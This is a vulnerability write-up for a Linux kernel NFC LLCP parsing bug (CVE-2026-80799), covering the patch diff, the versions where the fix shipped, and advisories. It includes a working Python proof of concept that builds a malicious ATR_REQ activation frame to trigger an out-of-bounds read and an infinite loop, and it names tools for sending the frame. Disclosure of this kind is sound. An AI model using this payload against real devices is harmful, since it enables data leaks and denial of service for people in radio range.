# CVE-2026-80799: a u8 offset that wrapped and three missing bounds checks in NFC LLCP

**Patch:** [78b20c8eeacd2e44a2d8a4cb5316d3c521d90911](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=78b20c8eeacd2e44a2d8a4cb5316d3c521d90911) (mainline, landed in 7.3-rc1)
**Subsystem:** NFC, Logical Link Control Protocol
**Affected file:** net/nfc/llcp_commands.c
**CVE record:** [CVE-2026-80799](https://www.cve.org/CVERecord?id=CVE-2026-80799)
**Introduced in:** 5.15 via 3df40eb3a2ea58bf404a38f15a7a2768e4762cb0 (with backports introducing it to 4.19.291, 5.4.251 and 5.10.188 lines)

## The bug in three parts

nfc_llcp_parse_gb_tlv() and nfc_llcp_parse_connection_tlv() share one parsing loop with three distinct defects, and I count it as my favorite multi-bug-in-one-function find:

1. The offset into the TLV array is declared u8 while tlv_array_len is u16. Advance offset past 255 and it silently wraps to zero, which means infinite loops or double processing of buffer data depending on the contents.
2. Before reading tlv[0] (type) and tlv[1] (length), there is no check that offset plus two stays within tlv_array_len. A truncated TLV reads one byte past the buffer end.
3. After reading the length field, the value bytes are accessed without checking offset plus two plus length against tlv_array_len. A crafted length of 0xFF on a short buffer reads up to 255 bytes past the end.

The reachability is what makes this more than a parser hygiene fix: nfc_llcp_set_remote_gb() feeds remote LLCP general bytes straight into nfc_llcp_parse_gb_tlv() with no additional validation and no authentication. An NFC peer, meaning whoever taps or emulates the other side of the link, supplies the GB TLVs. In an NFC context "adjacent network" means "physical proximity", radio range, no pairing handshake required to deliver general bytes.

## The fix

Widen the offset and check both the header and the value before touching either:

```diff
-	u8 type, length, offset = 0;
+	u8 type, length;
+	u16 offset = 0;
...
 	while (offset < tlv_array_len) {
+		if (offset + 2 > tlv_array_len)
+			return -EINVAL;
+
 		type = tlv[0];
 		length = tlv[1];
 
+		if (offset + 2 + length > tlv_array_len)
+			return -EINVAL;
```

Applied to both functions. Full patch: [78b20c8eeacd](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=78b20c8eeacd2e44a2d8a4cb5316d3c521d90911). The diff is 16 added lines against 2 removed, which is the appropriate size for three bugs.

## How to trigger it

The TLV bytes that do the damage, delivered as the LLCP general bytes during link activation (the GB field a peer NFC device or emulator sends when the link comes up):

```python
gb  = b"\x01\xff"            # VERSION TLV: type 1, claims a 255 byte value,
                             # zero value bytes present -> up to 255 bytes OOB
gb += b"\x06\x01\x04" + b"\x41" * 260   # enough TLVs to advance offset past
                                        # 255: u8 offset wraps to 0 and the
                                        # loop double-processes or spins
```

The value check bug needs only the first two bytes: nfc_llcp_parse_gb_tlv() reads type and length, never confirms offset + 2 + length fits in tlv_array_len, and walks off the buffer. The offset wrap needs a GB long enough to push a u8 counter past 255, which the second line arranges. On the victim this means any peer device in radio range during LLCP activation; an emulator built on nfcpy with a custom GB, or a programmable peer like a Proxmark or a second Linux box with neard, gives you full control of the bytes. Under KASAN the header read splats immediately. Post-fix both loops return EINVAL before any out of range access.

## Score and classification

This one sits in the unscored group: the kernel CNA published no metrics and NVD has it in Received status. The only published score is SUSE's CVSS v4.0 of 7.1 with an adjacent attack vector. No CWE from any authoritative source; Rapid7's database shrugs and files it under an undefined weakness class.

If I had to argue a vector, it would look like the other proximity-driven Bluetooth and wifi bugs in my set: AV:A, low complexity, no privileges, no interaction, confidentiality and availability impact. An unauthenticated 255-byte over-read plus a wrap-induced infinite loop gives you both leak and hang primitives from one peer message.

## Exploit code

The crafted general bytes, wrapped in an LLCP ATR_REQ (the activation frame a peer NFC device sends when the link comes up):

```python
#!/usr/bin/env python3
# llcp_gb_oob.py: CVE-2026-80799
# craft the activation frame; send from a programmable peer (Proxmark,
# patched neard, or an nfcpy stack configured with a custom GB)

nfcid3 = bytes.fromhex("01fe0102030405060708")   # any 10 byte NFCID3
gb  = b"\x01\xff"                    # VERSION TLV: claims a 255 byte value,
                                     # zero value bytes -> 255 byte OOB read
gb += b"\x06\x01\x04" + b"\x41" * 260  # push a u8 offset past 255: wraps
                                       # to 0, loop reprocesses/spins

# ATR_REQ: 0xD4 0x00, NFCID3, polling params (2), GB length + GB
param = bytes([0x01, 0x02])
atr_req = bytes([0xD4, 0x00]) + nfcid3 + param + bytes([len(gb)]) + gb

print(atr_req.hex())
# feed this as the activation frame toward the victim; nfc_llcp_set_remote_gb()
# passes the GB straight into nfc_llcp_parse_gb_tlv() with no validation
```

Pre-fix, the first two GB bytes already trigger the value read: type and length are read, the header check that exists does not cover the value, and up to 255 bytes past the buffer are consumed as TLV data. With the long GB the u8 offset wraps at 256 and the loop double-processes or never terminates. On the victim, KASAN reports the header read immediately on activation; without KASAN the behavior is parser confusion on garbage bytes. Post-fix both loops verify header and value against tlv_array_len and return EINVAL. Public status: no KEV, no public PoC before this note. SUSE shipped nine advisories (SUSE-SU-2026:24178-1 through 4706-1 plus Tumbleweed-2026-11773), Debian [DLA-4777-1](https://security-tracker.debian.org/tracker/DLA-4777-1) and [DLA-4788-1](https://security-tracker.debian.org/tracker/DLA-4788-1), OSV lists downstream advisories from Mageia, openSUSE, BellSoft and others.

## Where the fix shipped

* 5.10.267: [2c1456fe09ab](https://git.kernel.org/stable/c/2c1456fe09ab1a5a9fe1d8339ca6d509589b56e1)
* 5.15.218: [7f6f3d087c67](https://git.kernel.org/stable/c/7f6f3d087c67a4346189ef2c36481455bbc59a74)
* 6.1.185: [9c47d6679635](https://git.kernel.org/stable/c/9c47d667963542c3cf8e3007b7f10c0904d08238)
* 6.6.154: [a209334ed929](https://git.kernel.org/stable/c/a209334ed929941b20810c17c3a507445b0a7c85)
* 6.12.106: [382eaa770335](https://git.kernel.org/stable/c/382eaa770335acf4f16a5a55524500f2bb4207df)
* 6.18.47: [2d239590d184](https://git.kernel.org/stable/c/2d239590d1845a706304833d40dd6d4fec20ad88)
* 7.1.11: [e84cdfdc4a6c](https://git.kernel.org/stable/c/e84cdfdc4a6c88e8b751144458f2e04e24415a28)
* 7.2.1: [875285a165fd](https://git.kernel.org/stable/c/875285a165fd3b402de2ab3be0deb355d6f4caf5)
* 7.3-rc1: [78b20c8eeacd](https://git.kernel.org/stable/c/78b20c8eeacd2e44a2d8a4cb5316d3c521d90911)

## References

1. [Upstream commit 78b20c8eeacd](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=78b20c8eeacd2e44a2d8a4cb5316d3c521d90911)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026090408-CVE-2026-80799-ac42@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-80799)
4. [OSV entry with downstream advisories](https://osv.dev/vulnerability/CVE-2026-80799)
5. [SUSE page](https://www.suse.com/security/cve/CVE-2026-80799.html)
